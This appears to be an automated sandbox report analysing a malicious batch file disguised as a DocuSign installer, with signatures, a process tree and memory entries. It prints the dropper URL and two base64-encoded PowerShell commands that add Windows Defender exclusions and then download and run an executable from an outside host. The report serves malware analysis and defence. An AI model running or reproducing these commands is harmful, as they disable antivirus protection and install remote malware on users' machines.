Analysis

  • max time kernel
    298s
  • max time network
    299s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/08/2026, 06:36

General

  • Target
    Docusign_Installer.bat
  • Size 11.8MB
  • Sample260823-hdazzshe68
  • SHA256 de365fbad1d040289c2fd84f322ca8dc8f9e66fbc2e8754dfe69313ff4989c47
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://dsyscod.com/docu.exe

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat" MINIMIZED
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4220
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4880
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:3108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcRXhjbHVzaW9uc1xQYXRocyIgLU5hbWUgIkM6XCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLVZhbHVlICIwIiAtRm9yY2U7IEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblByb2Nlc3MgIlBvd2VyU2hlbGwuZXhlIjsgQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcIiwgIiRlbnY6VEVNUCI=')); Invoke-Expression $de"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:824
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGV4ZUZpbGUgPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKCRlbnY6VEVNUCwgJ3NldHVwLmV4ZScpOyAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHBzOi8vZHN5c2NvZC5jb20vZG9jdS5leGUnLCAkZXhlRmlsZSk7IFN0YXJ0LVByb2Nlc3MgJGV4ZUZpbGU=')); Invoke-Expression $de"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5560

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 c607a4fefaa80b1545f511db0bb4e1fdb96b7027a743bc2e070f121af7559b3b
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_d1kfzv3d.qov.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1kfzv3d.qov.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/824-12-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-15-0x00000256D2B80000-0x00000256D2B9E000-memory.dmp

          memory/824-6-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-7-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-8-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-9-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-10-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-11-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-0-0x00007FFDE3F1F000-0x00007FFDE3F20000-memory.dmp

          memory/824-5-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-16-0x00000256D2E00000-0x00000256D2EB2000-memory.dmp

          memory/824-17-0x00000256D2BA0000-0x00000256D2BAA000-memory.dmp

          memory/824-18-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-19-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-20-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-22-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp

          memory/824-4-0x00000256D2AF0000-0x00000256D2B12000-memory.dmp

          memory/824-1-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp